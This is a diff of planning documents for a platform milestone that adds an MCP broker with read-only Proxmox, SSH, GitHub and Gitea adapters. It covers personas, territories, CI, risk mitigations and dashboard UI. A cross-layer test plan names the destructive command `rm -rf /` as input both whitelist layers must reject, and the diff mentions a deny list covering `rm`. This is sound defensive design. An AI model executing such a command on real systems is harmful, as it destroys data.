| frontend-engineer | yes | no | Owns the Settings → Adapters configuration UI and the Test-Call UI in the M1 dashboard. Server components read via the API gateway (never bypass RLS); client components consume the SSE stream. |
|
||||
| lead-developer | yes | no | Coordinates wave decomposition (F/G/H/I/J), resolves territory disputes (e.g., who owns the translator module — backend vs data), makes final architectural calls. |
|
||||
| general | no | — | Not needed; the specialized personas cover M2. |
|
||||
| security-engineer | yes | no (custom) | M2 has heavy security surface: INV-7 at the broker (load-bearing), write-method blocklist per adapter, defense-in-depth SSH (broker + Relay Agent), fine-grained PAT scope validation (D-006), Gitea version-aware scope validation. Owns the security review for Waves F/H specifically. |
|
||||
| go-engineer | yes | yes (Wave H only) | Reactivated for M2 Wave H (SSH adapter integration with M1 Relay Agent). Adds the `tool_call` WebSocket message type to the Go agent, integrates the adapter with M1's `CheckCommand` hook. Removed after Wave H ships; `apps/relay-agent/**` territory reverts to backend-engineer for M2 follow-up. M3 may reactivate for chat-driven SSH execution. |
|
||||
|
||||
## Framework Alignment (overrides from package.json — to be set when the monorepo is created)
|
||||
## Framework Alignment (overrides from package.json — M2)
|
||||
|
||||
These will be finalized at Wave A start once `package.json` + `go.mod` exist. Preliminary:
|
||||
M1 package.json + go.mod exist. M2 additions:
|
||||
|
||||
- backend-engineer: `frameworks: [next, node, typescript, trigger.dev, workos-sdk, aws-sdk]`
|
||||
- data-engineer: `frameworks: [postgres, knex|prisma, node, typescript]`
|
||||
- frontend-engineer: `frameworks: [next, react, typescript, tailwind]`
|
||||
- security-engineer: `frameworks: [node, typescript, postgres-rls, aws-kms, go-seccomp]`
|
||||
- go-engineer: `frameworks: [go, gorilla-websocket, systemd]`
|
||||
- backend-engineer: `frameworks: [next, node, typescript, model-context-protocol, openai-api, axios, ulid]`
|
||||
- data-engineer: `frameworks: [postgres, knex|prisma, node, typescript, docker, pg-rls]`
|
||||
- frontend-engineer: `frameworks: [next, react, typescript, tailwind, eventsource]`
|
||||
- security-engineer: `frameworks: [node, typescript, postgres-rls, openai-fine-grained-pat, pve-auditor, go-seccomp]`
|
||||
- go-engineer: `frameworks: [go, gorilla-websocket, systemd, os-exec]`
|
||||
|
||||
## Territory Alignment (overrides to match actual file structure)
|
||||
## Territory Alignment (M2)
|
||||
|
||||
Preliminary globs, to be refined after Wave A scaffolds the monorepo:
|
||||
M1 territories carried forward. M2 additions:
|
||||
|
||||
- backend-engineer:
|
||||
- `apps/control-plane/**`
|
||||
- `packages/auth/**`
|
||||
- `packages/audit/**`
|
||||
- `packages/secrets/**`
|
||||
- `packages/config/**`
|
||||
- `packages/runtime/**`
|
||||
- `apps/control-plane/**` (M1 + M2 routes)
|
||||
- `packages/auth/**`, `packages/audit/**`, `packages/secrets/**`, `packages/config/**`, `packages/runtime/**`
|
||||
- `packages/mcp/**` (NEW M2 — broker, registry, router, rate-limiter, stream-manager, translator)
|
||||
- `packages/mcp/adapters/proxmox/**` (NEW)
|
||||
- `packages/mcp/adapters/github/**` (NEW)
|
||||
- `packages/mcp/adapters/gitea/**` (NEW)
|
||||
- `packages/mcp/adapters/ssh/**` (NEW — TS module only; Go agent territory is go-engineer)
|
||||
- data-engineer:
|
||||
- `packages/db/**`
|
||||
- `apps/control-plane/lib/db/**`
|
||||
- migrations: `packages/db/migrations/**`
|
||||
- migrations: `packages/db/migrations/**` (M1 + M2 `mcp_adapters` migration)
|
||||
- CI Postgres 16 setup: `.gitea/workflows/**` or `docker-compose.ci.yml` (Wave 0 — Gitea Actions, the repo's forge)
|
||||
- frontend-engineer:
|
||||
- `apps/dashboard/**`
|
||||
- `apps/control-plane/app/(dashboard)/**`
|
||||
- `apps/control-plane/app/(dashboard)/**` (M1 + M2 Settings→Adapters + Test-Call UI)
|
||||
- `apps/control-plane/app/api/mcp/stream/**` (SSE Route Handler — shared with backend)
|
||||
- security-engineer:
|
||||
- `packages/auth/rbac/**`
|
||||
- `packages/audit/**`
|
||||
- `packages/secrets/**`
|
||||
- `packages/db/rls/**`
|
||||
- `packages/mcp/write-blocklist/**` (NEW M2 — per-adapter write-method blocklist)
|
||||
- `packages/mcp/adapters/ssh/whitelist-check/**` (NEW M2 — broker-side SSH whitelist validation, layer 1)
|
||||
- `packages/auth/rbac/**`, `packages/audit/**`, `packages/secrets/**`, `packages/db/rls/**`
|
||||
- tests: `tests/security/**`, `tests/pen/**`
|
||||
- go-engineer (Wave D only):
|
||||
- `apps/relay-agent/**`
|
||||
- `scripts/install.sh`, `scripts/install/*`
|
||||
- `apps/relay-agent/whitelist/**`
|
||||
- go-engineer (Wave H only):
|
||||
- `apps/relay-agent/**` (M2 additions: `tool_call` WebSocket message handler, adapter integration)
|
||||
- `apps/relay-agent/whitelist/**` (M1, G-004 contract — read-only for M2; verify no signature change)
|
||||
|
||||
## Constraint Alignment
|
||||
|
||||
@@ -76,9 +78,18 @@ Persona-specific:
|
||||
|
||||
## Phase-Specific Personas
|
||||
|
||||
- `go-engineer`: active for Wave D only. After Wave D ships, the persona is removed from the roster and the `apps/relay-agent/**` territory reverts to `backend-engineer` for any M1 follow-up. M2 reactivates a Go persona for the SSH adapter.
|
||||
- `go-engineer`: active for Wave H (SSH adapter integration) only. After Wave H ships, the persona is removed from the roster and the `apps/relay-agent/**` territory reverts to `backend-engineer` for any M2 follow-up. M3 may reactivate a Go persona for chat-driven SSH execution.
|
||||
|
||||
## Notes
|
||||
|
||||
- This file is consumed by the EXECUTE workflow for persona assignment and territory enforcement.
|
||||
- Framework + territory globs will be re-validated at Wave A start against the actual `package.json` / `go.mod` and committed as a follow-up to the Wave A plan commit.
|
||||
- M2 reactivates `go-engineer` for Wave H (SSH adapter plugs into M1's `CheckCommand` hook). The go-engineer must NOT change the `CheckCommand(cmd string) error` signature or the whitelist JSON schema (M1 G-004 contract lock) — any change requires a documented migration with a compatibility shim.
|
||||
- M2 security-engineer must sign off on Wave F (broker write-method blocklist, INV-7 at broker) and Wave H (SSH defense-in-depth: broker layer 1 + Relay Agent layer 2) before those waves ship. Blocks the wave ship on a P0/P1 finding.
|
||||
- M2 flagged risks from RESEARCH (must be addressed in PLAN/GRILL):
|
||||
1. R-001: implement synthetic `initialize`/`initialized` handshake for in-process adapters (conformance artifact).
|
||||
2. R-002: PVEAuditor introspection is a PVE gap — broker validates "token works for reads," not "token lacks writes." Document in UI; broker write-method blocklist is the load-bearing boundary.
|
||||
3. R-004: GitHub fine-grained PAT scope introspection is a GitHub gap — best-effort + per-invocation 403 handling.
|
||||
4. R-005: Gitea docs didn't fetch (JS-required) — verify against a running Gitea instance during Wave I.
|
||||
5. R-003: cross-layer SSH test asserting both broker (layer 1) and Relay Agent (layer 2) reject non-whitelisted commands.
|
||||
6. R-006: 30s stream-not-opened timeout to cancel orphan adapter calls.
|
||||
7. R-009: Wave 0 must replace M1's placeholder RLS assertions with real RLS WITH CHECK assertions gated on `DB_MODE=pg`.
|
||||
+575
-224
@@ -1,279 +1,630 @@
|
||||
# Plan — Milestone 1 (v0.1)
|
||||
# Plan — Milestone 2 (v0.1, M2: MCP Layer & Day 1 Adapters)
|
||||
|
||||
Source spec: `.ciagent/steer-v0.1-spec.md` (v1.1, locked 2026-08-24).
|
||||
M1 scope: REQ-001..014, REQ-038, REQ-039, REQ-040 (17 REQs). M1 acceptance gate: spec §2.3.
|
||||
Architecture: `.ciagent/ARCHITECTURE.md`. Decisions: `.ciagent/CLARIFY.md`. Research: `.ciagent/RESEARCH.md`. Personas: `.ciagent/PERSONAS.md`.
|
||||
Source spec: `.ciagent/steer-m2-spec.md` (v1.0, locked 2026-08-25, Sarah Chen). All 9 open questions resolved; spec delta applied to REQ-015/021/027 acceptance criteria, Section 5 constraints, Section 9 M2→M3 contract freeze.
|
||||
M2 scope: **REQ-015..027 (13 REQs)**. MCP capability broker gateway + 4 Day-1 adapters (Proxmox, SSH/Linux via Relay Agent, GitHub, Gitea) + SSE streaming + token-bucket rate limiting + LLM smoke + Postgres 16 CI/RLS verification. M2 acceptance gate: spec §6 (15 items).
|
||||
Architecture: `.ciagent/ARCHITECTURE.md` (M2 MCP broker section written). Decisions: `.ciagent/CLARIFY.md` (D-001..D-007; D-006 GitHub scopes, D-007 MCP transport). Research: `.ciagent/RESEARCH.md` (R-001..R-009, 7 flagged risks integrated below). Personas: `.ciagent/PERSONAS.md` (M2 roster: backend, data, frontend, lead, security, go-engineer for Wave H only). Requirements: `.ciagent/REQUIREMENTS.md` (REQ-015..027 with acceptance criteria + spec delta).
|
||||
|
||||
M1 is decomposed into **5 execution phases** (Waves A–E). Each wave is a vertical slice: scaffolds + implements + tests + ships a patch on the v0.0.x line. Each wave maps to explicit REQ IDs and has must-have verification items. Waves are ordered by dependency; A → B → C may overlap (B starts once A's `withTenant` + `audit` are green); D is independent of B/C and can run in parallel; E depends on B + D.
|
||||
> **Note:** This PLAN.md overwrites the M1 PLAN.md. The M1 plan is preserved in git history (commit prior to M2 overwrite). M1 is COMPLETE; all 17 M1 REQs (001-014, 038, 039, 040) must remain passing through M2 (M1 non-regression — gate item 1).
|
||||
|
||||
## Phase mapping (CIAgent phase model)
|
||||
---
|
||||
|
||||
| CIAgent phase | Wave | Branch | Patch tag | REQs |
|
||||
|---------------|------|--------|-----------|------|
|
||||
| Phase 0 | pre-execution | `phase/00-pre-execution` | v0.0.1 | (this plan) |
|
||||
| Phase 1 | Wave A — Foundations | `phase/01-foundations` | v0.0.2 | REQ-038, REQ-039, REQ-040 |
|
||||
| Phase 2 | Wave B — Identity & RBAC | `phase/02-identity-rbac` | v0.0.3 | REQ-001, REQ-002, REQ-003, REQ-004, REQ-005 |
|
||||
| Phase 3 | Wave C — BYOM | `phase/03-byom` | v0.0.4 | REQ-006, REQ-007, REQ-008, REQ-009 |
|
||||
| Phase 4 | Wave D — Relay Agent | `phase/04-relay-agent` | v0.0.5 | REQ-010, REQ-011, REQ-012, REQ-013, REQ-026 (whitelist hook) |
|
||||
| Phase 5 | Wave E — Dashboard surfacing | `phase/05-dashboard` | v0.0.6 | REQ-014 |
|
||||
| Phase 6 | Final — Review + Ship | `phase/06-final-review-ship` | v0.0.7 ← milestone release | all M1 |
|
||||
## Phase mapping
|
||||
|
||||
Tags run on the v0.0.x patch line (no prior minor). The final phase's patch (v0.0.7) IS the v0.1 milestone release. The milestone merge to `main` happens at the final phase.
|
||||
M2 ships on the v0.1.x patch line (M1's previous minor). Phase 0 seeds `v0.1.0`; each execution phase ships a progressive patch; **the final phase's patch (`v0.1.6`) IS the M2 milestone release.** The milestone merge to `main` happens at the final phase.
|
||||
|
||||
### Grill fixes applied (G-001..G-010)
|
||||
| Phase | Wave | Branch | Patch tag | REQs covered |
|
||||
|-------|------|--------|-----------|--------------|
|
||||
| 0 | pre-execution | `phase/00-pre-execution` | `v0.1.0` | (this plan) |
|
||||
| 1 | Wave F — MCP Gateway core | `phase/01-mcp-gateway` | `v0.1.1` | REQ-015, REQ-016, REQ-017, REQ-018, REQ-019, REQ-024 |
|
||||
| 2 | Wave G — Proxmox adapter | `phase/02-proxmox-adapter` | `v0.1.2` | REQ-020, REQ-025 |
|
||||
| 3 | Wave H — SSH/Linux adapter (Relay Agent) | `phase/03-ssh-adapter` | `v0.1.3` | REQ-021, REQ-026 (full) |
|
||||
| 4 | Wave I — Git adapters | `phase/04-git-adapters` | `v0.1.4` | REQ-022, REQ-023, REQ-027 |
|
||||
| 5 | Wave J — SSE integration + LLM smoke + adapter UI | `phase/05-sse-integration` | `v0.1.5` | REQ-017 integration, M2 gate item 8 (LLM smoke) |
|
||||
| 6 | Final — Review + Audit + Ship | `phase/06-final-review-ship` | `v0.1.6` ← **M2 milestone release** | all M2 (sign-off) |
|
||||
|
||||
This plan was grilled (`.ciagent/GRILL.md`, verdict PASS-WITH-FIXES). The 10 binding fixes are integrated below and flagged inline as `[G-NNN]`. Summary:
|
||||
**Wave 0 prerequisites (not a spec REQ; MUST complete before Wave F):**
|
||||
- **[G-011 P0] Build the CI/CD pipeline as an explicit Wave 0 task.** Create `.gitea/workflows/ci.yml` (Gitea Actions — the repo's forge is Gitea at `git.cloudinit.dev`; Gitea Actions is GitHub Actions-compatible, same YAML syntax + `secrets.*` context + service containers) with two jobs: `test-pglite` (default) + `test-postgres` (service container + `DB_MODE=pg`). Postgres 16 service container with `coreci_app` (no BYPASSRLS) + `migrator` (BYPASSRLS) role setup via `setup-ci-roles.sql` (R-009). GitHub smoke PAT as Gitea Actions repository secret (`secrets.GITHUB_SMOKE_PAT` — a GitHub API token for the Track-B real-GitHub adapter smoke, stored in Gitea's secret store). Caching for pnpm + go modules. Coverage upload. **This is M2 work, not an external prerequisite.** Without it, 9 of 15 gate items are unprovable.
|
||||
- **[G-022 P1] Run the full M1 test suite against Postgres 16 in Wave 0.** After CI is provisioned, run the *entire* M1 test suite with `DB_MODE=pg`. Any M1 RLS failure (cross-tenant SELECT, missing `FORCE ROW LEVEL SECURITY`, wrong `WITH CHECK`) is an M1-regression P0 that blocks M2 until fixed. Wave 0 is the *first* real-RLS test of M1.
|
||||
- **Real GitHub PAT available in CI** (ephemeral or test-org-scoped, stored as repository secret) for the Wave I real-target smoke + Wave J LLM smoke (gate item 8). Required for the optional real-GitHub smoke track (G-018); the P0 mock-path smoke does not depend on it.
|
||||
|
||||
- **G-001** (Wave C): `/api/byom/test-inference` is a plan-time proxy for REQ-008 (no M3 orchestration to drive inference); marked for M3 deprecation; PO-acknowledged.
|
||||
- **G-002** (Wave A): Trigger.dev health-check ticks write to a `runtime_health` table, NOT `audit_log`. REQ-038's auditable events are business events only.
|
||||
- **G-003** (Wave A + D): Trigger.dev bootstrap + SSH whitelist hook are pre-investments for M2/M3, with one-line expected payoff.
|
||||
- **G-004** (Wave D): `CheckCommand(cmd) error` signature + whitelist JSON schema are the M2 SSH adapter contract; changes require a documented migration.
|
||||
- **G-005** (Wave A + B + D): `POST /api/relay/issue-token` owned by backend-engineer; token contract (format/scope/lifetime) defined in Wave A secrets package so B and D parallelize without blocking.
|
||||
- **G-006** (Wave A): per-tenant hash-chain serializes concurrent audit writes via constraint-trigger rollback — known M1-acceptable limit; M3 mitigation documented.
|
||||
- **G-007** (Wave D): shadow `exec.Cmd` integration test proves `CheckCommand` composes with `os/exec` without a live SSH server.
|
||||
- **G-008** (Wave D): M1 ships REQ-026 *partially* (whitelist file + hook + tests); spec §4 SSH-key-auth + tool-call execution are M2.
|
||||
- **G-009** (Wave D): unsupported-OS test matrix is ≥2 cases (Fedora + Alpine), not a single container.
|
||||
- **G-010** (Wave A): two-tier credential taxonomy — infra/bootstrap creds (env vars, listed) vs tenant creds (SecretProvider only). PO's "no env vars" applies to tenant creds.
|
||||
---
|
||||
|
||||
### Credential taxonomy [G-010]
|
||||
## Grill fixes applied (G-011..G-022)
|
||||
|
||||
The PO's "no env vars, no config files, no DB columns. Ever." (REQ-040) applies to **tenant credentials**. The platform has a two-tier model:
|
||||
This plan was grilled (`.ciagent/GRILL.md`, verdict FAIL → auto-resolved at full autonomy with all 12 binding fixes applied). The 12 binding fixes (continuing from M1 GRILL's G-001..G-010) are integrated below and flagged inline as `[G-NNN]`. Summary:
|
||||
|
||||
- **Tier (a) — Infra/bootstrap credentials** (platform-level, NOT tenant-scoped): loaded via `packages/config` from environment variables. These are: `DATABASE_URL`, `WORKOS_API_KEY`, `TRIGGER_API_KEY`, `TRIGGER_API_URL`, `AWS_REGION`, `AWS_ACCESS_KEY_ID`/`AWS_SECRET_ACCESS_KEY` (or IAM role), `SECRET_MASTER_KEY_DEV` (dev/test only). They are never tenant secrets.
|
||||
- **Tier (b) — Tenant credentials** (BYOM key, Proxmox token, SSH key, Git token, tenant registration token): via `SecretProvider` ONLY. Never env vars, never config files, never DB columns. The DB stores only a `SecretRef`.
|
||||
- **G-011 (P0):** Build the CI/CD pipeline as an explicit Wave 0 task (not a "prerequisite"). Applied above.
|
||||
- **G-012 (P1):** Own the M1 `AuditEventType` union extension as an explicit M1-file edit in Wave F (type widening, not "additive — no schema change" at the TS layer).
|
||||
- **G-013 (P1):** Expand the cross-layer SSH test to a divergence matrix in Wave H (both-reject, both-accept, broker-rejects-Go-accepts, Go-accepts-broker-rejects). Tighten the Go deny list to include bare `rm` or validate `systemctl status` trailing args.
|
||||
- **G-014 (P1):** Document the known closed-tool-set gaps in the Settings → Adapters UI help text in Wave J.
|
||||
- **G-015 (P1):** Correct the INV-7 framing: the closed 9-tool registry (REQ-015) is the primary boundary; the write-blocklist is a backstop for adapter bugs. Document in Wave F PROTOCOL.md.
|
||||
- **G-016 (P1):** Separate the write-blocklist into two enforcement models (method blocklist for Proxmox/Gitea; scope-via-403 for GitHub). Document GraphQL/PVE-GET-with-side-effects future risks in PROTOCOL.md.
|
||||
- **G-017 (P1):** Add a 7th MCP conformance test over stdio transport in Wave F (`stdio-interop.test.ts`) — proves an external MCP client can connect.
|
||||
- **G-018 (P0):** Add a `github-mock` adapter and a two-track LLM smoke in Wave J. Mock-path (canned repos) is the P0 gate; real-path (real GitHub) is optional/allow-failure.
|
||||
- **G-019 (P0):** Harden `packages/llm-mock` pattern matching (regex set, not 2-word conjunction) + add retry policy for real-GitHub smoke in Wave J.
|
||||
- **G-020 (P1):** Ship a documented `McpAdapter` interface in Wave F that both in-process adapters (G/I) and the WebSocket-backed SSH adapter (H) implement.
|
||||
- **G-021 (P1):** Add M1-relay-WS regression test in Wave H + restructure the Go agent reader goroutine to dispatch on `type` before unmarshaling.
|
||||
- **G-022 (P1):** Run the full M1 test suite against Postgres 16 in Wave 0. Applied above.
|
||||
|
||||
This two-tier model is the documented exception to the PO's verbatim "no env vars" claim and will be cited in the M1 security review.
|
||||
---
|
||||
|
||||
## Flagged risk mitigations (from RESEARCH R-001..R-009)
|
||||
|
||||
For each of the 7 flagged risks, the wave that addresses it and how:
|
||||
|
||||
| # | Risk | Wave | Mitigation |
|
||||
|---|------|------|-----------|
|
||||
| R-001 | Synthetic MCP `initialize`/`initialized` handshake for in-process adapters (lowest-confidence gate item 15) | **Wave F** | Implement a lightweight synthetic lifecycle exchange at adapter registration (broker → `{method:"initialize", params:{protocolVersion:"2025-06-18", capabilities:{tools:{listChanged:false}}}}`, adapter → `{capabilities:{tools:{}}}`). Produce `packages/mcp/PROTOCOL.md` + 6 conformance tests in `tests/mcp-conformance/` (gate item 15 artifact). |
|
||||
| R-002 | PVEAuditor role introspection gap (PVE has no clean "what role does this token have" endpoint) | **Wave G** | Broker validates "token works for reads" (`GET /api2/json/version` + `GET /api2/json/nodes`) at submit, NOT "token lacks writes." Document the introspection gap in the Settings → Adapters UI help text ("Create a token with PVEAuditor role"). The broker write-method blocklist (reject POST/PUT/DELETE) is the load-bearing INV-7 boundary. Confidence 0.70 on this sub-point. |
|
||||
| R-004 | GitHub fine-grained PAT scope introspection gap (no public API to list a fine-grained PAT's granted scopes) | **Wave I** | Submit-time: `github_pat_` prefix check (reject classic PATs) + `GET /user` (validates token + implicit `metadata:read`). Per-invocation: handle 403 with `X-Accepted-GitHub-Permissions` header (e.g., `actions=read` required) → HTTP 403 "insufficient scope" + `adapter.capability_invoked` with `result=failure` (NOT `write_rejected` — no write attempted). Document in UI. |
|
||||
| R-005 | Gitea runtime verification (docs page required JS; findings from spec + GitHub-mirroring conventions) | **Wave I** | Verify `GET /api/v1/version`, `GET /api/v1/user/repos`, `GET /api/v1/repos/{owner}/{repo}/actions/runs` against a running Gitea 1.22+ AND a <1.22 instance during Wave I. Confirm `read:repository` scope behavior (≥1.22) and the `Authorization: token <token>` header. Confidence 0.72 → raise by runtime verification. |
|
||||
| R-003 | Cross-layer SSH defense-in-depth test (two independent whitelist implementations: TS broker layer 1, Go agent layer 2) | **Wave H** | Add a cross-layer test asserting a non-whitelisted command (`rm -rf /`) is rejected by BOTH the broker (layer 1, TS) AND the Relay Agent `CheckCommand` (layer 2, Go). Keep the two implementations semantically in sync but code-independent (a bug in one doesn't bypass the other). |
|
||||
| R-006 | 30s stream-not-opened timeout (orphan adapter calls if client never opens the SSE stream) | **Wave F** | Stream manager enforces a 30s "stream not opened" timeout: if `GET /api/mcp/stream/:correlationId` isn't called within 30s of `POST /api/mcp/invoke`, cancel the adapter call and delete the correlation context. Plus a 60s max-stream lifetime safety net for orphaned contexts. |
|
||||
| R-009 | Wave 0 RLS assertions (M1 pen-test has placeholder `expect(true).toBe(true)` because PGlite doesn't enforce RLS on SELECT) | **Wave 0** | Deliver `packages/db/scripts/setup-ci-roles.sql` (`coreci_app` no BYPASSRLS, `migrator` BYPASSRLS). Parameterize the pen-test by `DB_MODE` (`pglite` default, `pg` in CI). Replace placeholder with real RLS WITH CHECK assertions gated on `DB_MODE=pg`. Two CI jobs: `test-pglite` + `test-postgres` (service container). |
|
||||
|
||||
**Additional research decisions integrated (D-M2-R001..R009, all above 0.6 threshold):** D-M2-R004 GitHub classic-PAT rejection by prefix; D-M2-R005 Gitea version-aware scope routing; D-M2-R006 SSE no-audit-on-client-cancel; D-M2-R007 token-bucket refund-on-tenant-fail + no-audit-on-429; D-M2-R008 `packages/llm-mock` import-guarding (eslint `no-restricted-imports` + build-time grep).
|
||||
|
||||
---
|
||||
|
||||
## User-Facing Surface (MVP/UX §1)
|
||||
|
||||
M1 ships ONE user-facing surface: the **Platform Lead admin dashboard** (browser, Next.js, at `/dashboard`). The chat UI is M3 — explicitly not in M1.
|
||||
M2 ships **TWO user-facing surfaces** in the existing M1 dashboard (`apps/control-plane/app/(dashboard)/`). Non-UI surfaces (the MCP broker gateway, the 4 adapters, the `packages/llm-mock` CI-only smoke provider, the `mcp_adapters` Postgres table) are backend and verified by tests, not by user demonstration.
|
||||
|
||||
M1 dashboard surfaces (each is a pass/fail QA surface):
|
||||
### Surface 1 — Settings → Adapters configuration UI (`/dashboard/settings/adapters`)
|
||||
- **Adapter type picker:** Proxmox / GitHub / Gitea / SSH (the 4 Day-1 adapter types; closed set, no "custom adapter" option).
|
||||
- **Per-adapter config forms:** type-specific fields:
|
||||
- Proxmox: `host` (HTTPS URL), `PVEAuditor` token (secret), `allowSelfSigned` toggle (R-002 — common for customer PVE labs).
|
||||
- GitHub: `host` (defaults to `api.github.com`), fine-grained PAT (secret). Help text: "Create a fine-grained PAT with `metadata:read` + `actions:read` minimum. Classic PATs (`ghp_`) are rejected."
|
||||
- Gitea: `host` (customer Gitea URL), read-only token (secret), `allowSelfSigned` toggle. Help text: "Gitea ≥1.22 requires `read:repository` scope. Gitea <1.22 accepts any token (broker enforces write-method blocklist)."
|
||||
- SSH: `hostname`, `port` (default 22), Relay registration token (secret; resolves to the M1 Relay Agent target). Help text: "Install the M1 Relay Agent on the target host first; paste the registration token here."
|
||||
- **SecretProvider-backed credential entry:** all secrets enter via `SecretProvider.put` (INV-3); the DB stores only `secret_ref`. The UI never displays the raw secret after submit (redacted, edit-only).
|
||||
- **Role/scope validation on submit (REQ-025, REQ-026, REQ-027):** the broker validates the token at submit time and returns a structured pass/fail. On failure → HTTP 422 with role/scope-violation error, no config persisted, UI shows the error inline.
|
||||
- **"Test connection" button:** invokes the `test_connection` capability (REQ-016) through the closed tool registry; returns structured pass/fail within 5s (spec Journey 1 Step 7).
|
||||
- **Audit event confirmation:** after a successful save, the UI shows "Saved (audit event `adapter.configured` appended)."
|
||||
- **Multi-target support (REQ-024):** the config form supports multiple adapters of the same type (e.g., 2 Proxmox hosts). Each row has a `target_id` (display name) so the Test-Call UI's target picker can disambiguate.
|
||||
- **PVEAuditor introspection gap (R-002):** the Proxmox config form's help text documents that the broker validates "token works for reads," not "token lacks writes," and the operator is responsible for creating a PVEAuditor-scoped token.
|
||||
|
||||
1. **SSO entry** (`/login`): "Sign in with SSO" button → WorkOS redirect → session → `/dashboard` redirect. (REQ-001)
|
||||
2. **Onboarding checklist** (`/dashboard`): first-tenant view shows the 5 onboarding steps with status badges (grey/green): Configure BYOM, Install Relay Agent, Register Target, Verify Green Status, Invite Team. (REQ-002)
|
||||
3. **BYOM config form** (`/dashboard/byom`): URL input + API key input + "Validate & Save" button. On save: green "Validated" badge with the test inference result, or red error panel with details. (REQ-006, REQ-007)
|
||||
4. **Relay Agent install instructions** (`/dashboard/relay`): per-tenant `curl|bash` install command with the tenant registration token embedded; supported OS list shown; "unsupported OS" callout. (REQ-010)
|
||||
5. **Targets list** (`/dashboard/targets`): one row per registered Relay Agent — hostname, OS, IP, agent version, health (green/yellow/red), last-seen, "View logs" link. (REQ-012, REQ-014)
|
||||
6. **Target detail** (`/dashboard/targets/<id>`): health badge, last 100 log lines (streamed via WebSocket fan-out), registration metadata. (REQ-014)
|
||||
7. **Team / RBAC** (`/dashboard/team`): list members + role; "Invite" form (email → single-use link); role change dropdown (Admin/Operator/Viewer). (REQ-003, REQ-004)
|
||||
8. **Audit export** (`/dashboard/audit`): admin-only "Download audit log (CSV)" button — no query UI in MVP (spec §2.2). (REQ-038)
|
||||
### Surface 2 — Test-Call UI (`/dashboard/test-call`)
|
||||
- **Capability picker:** the closed 9-tool set from `GET /api/mcp/tools` (REQ-015). Tools are grouped by adapter type in the dropdown. Per-tenant policy may disable individual tools (greyed out in the picker).
|
||||
- **Argument forms:** each tool's arguments are rendered from the tool's JSON Schema `inputSchema` (REQ-015) — required fields marked, type-validated on submit. Invalid args → inline validation error (mirrors the broker's HTTP 400 schema-validation error, Edge 4).
|
||||
- **Target picker for multi-target tenants (REQ-024):** when a tenant has ≥2 adapters of the same type, the UI surfaces a target picker. If the user submits a same-type capability without selecting a target, the broker returns HTTP 400 "target required" (Edge 3) and the UI prompts for selection.
|
||||
- **SSE stream consumer (REQ-017):** the UI opens an `EventSource` on `GET /api/mcp/stream/:correlationId` and renders events as they arrive (`id`, `event`, `data` fields per SSE spec). Terminal events `done` (completion) / `error` (failure) close the stream.
|
||||
- **Staleness indicator for inventory calls:** for `list_*` capabilities (inventory, 60s TTL cache), the UI shows "cached Xs ago" when the result is served from cache. For live capabilities (non-`list_*`), no staleness indicator (fresh result). (Spec Journey 2 Step 6.)
|
||||
- **Result rendering:** tool results render as JSON in a collapsible tree. Errors render with the `isError: true` flag surfaced.
|
||||
|
||||
Non-UI surfaces: the Relay Agent install script (`curl|bash`), the Go binary, the systemd unit. These are operator-facing artifacts, documented in the install guide.
|
||||
### Non-UI surfaces (verified by tests, not user demo)
|
||||
- The MCP broker gateway (`packages/mcp`): registry, router, write-blocklist, rate-limiter, stream-manager, translator, in-process transport.
|
||||
- The 4 adapters (`packages/mcp/adapters/{proxmox,ssh,github,gitea}`).
|
||||
- The `packages/llm-mock` CI-only LLM smoke provider (devDependency, import-guarded).
|
||||
- The `mcp_adapters` Postgres table (tenant-scoped, RLS).
|
||||
- The 5 gateway REST+SSE endpoints (M2→M3 contract freeze, spec §9).
|
||||
|
||||
---
|
||||
|
||||
## Happy Path (MVP/UX §2)
|
||||
|
||||
End-to-end M1 scenario (maps to spec Journey 2 steps 1–4 + 7 + 9), written before EXECUTE:
|
||||
> **Given** a fresh M2 deployment with M1 complete (SSO, BYOM, Relay Agent, audit, RLS, secrets operational) and Wave 0 prerequisites met (CI Postgres 16 with role setup, real GitHub PAT available in CI),
|
||||
> **when** Sam (Tenant Admin) configures and validates all four Day-1 adapters and runs a Test-Call,
|
||||
> **then** the M2 acceptance gate (spec §6) passes: all 4 adapters respond to a test call, multi-target scoping is functional, read-only enforcement is verified at the broker (INV-7), LLM smoke passes, M1 non-regression.
|
||||
|
||||
> **Given** a fresh CoreCI Chat deployment with Postgres + WorkOS + AWS Secrets Manager configured,
|
||||
> **when** a Platform Lead completes the M1 onboarding,
|
||||
> **then** the M1 acceptance gate (spec §2.3) passes: SSO signup → BYOM green validation → Relay Agent install on a target Linux host → target registered → green status in the admin dashboard. Audit logging, RLS, and secret manager are operational.
|
||||
### BDD steps (Given/When/Then) — written BEFORE EXECUTE
|
||||
|
||||
BDD steps:
|
||||
1. **Given** an unauthenticated visitor, **when** they hit `/login` and complete WorkOS SSO, **then** a tenant is provisioned (first signup), they are assigned Admin, and `/dashboard` loads with the 5-step onboarding checklist (all grey). (REQ-001, REQ-002)
|
||||
2. **Given** the Admin on `/dashboard/byom`, **when** they submit a valid BYOM URL + API key and click "Validate & Save", **then** the API key is stored in the secret manager (not the DB), a test inference call to `/v1/chat/completions` returns 200, the endpoint row is inserted under RLS, the checklist step turns green, and an audit entry is appended. (REQ-006, REQ-007, REQ-038, REQ-039, REQ-040)
|
||||
3. **Given** the Admin on `/dashboard/relay`, **when** they copy the `curl|bash` command and run it on an Ubuntu 24.04 host, **then** the install script detects Ubuntu, downloads the Go binary, verifies the checksum, writes the systemd unit, writes the tenant token to `/etc/coreci/relay.env`, enables + starts the service, and exits 0. (REQ-010)
|
||||
4. **Given** the systemd service is running, **when** the Relay Agent starts, **then** it opens an outbound WebSocket to the SaaS within 60s, registers (tenant/target/hostname/Ubuntu 24.04/IP/version), the control plane inserts a `targets` row under RLS + appends an audit entry, and the dashboard `/targets` list shows the new row. (REQ-011, REQ-012, REQ-038, REQ-039)
|
||||
5. **Given** the Relay Agent is registered, **when** it sends a heartbeat every 30s, **then** `last_seen` updates and the dashboard health badge is **green**. (REQ-013, REQ-014)
|
||||
6. **Given** the Admin on `/dashboard/team`, **when** they invite `ops@example.com` as Operator, **then** WorkOS sends a single-use acceptance link; when the invitee accepts and hits the API, RBAC enforces Operator permissions (e.g., cannot edit BYOM). (REQ-003, REQ-004, REQ-005)
|
||||
7. **Given** a second tenant T2 exists, **when** T1's user issues any DB query, **then** RLS returns zero T2 rows (cross-tenant pen test passes). (REQ-039)
|
||||
8. **Given** the unsupported-OS case, **when** the install script runs on Fedora, **then** it exits non-zero with a message listing Ubuntu 24.04 LTS and Debian 12+. (REQ-010, Edge 16)
|
||||
**Adapter config + validation (Journey 1):**
|
||||
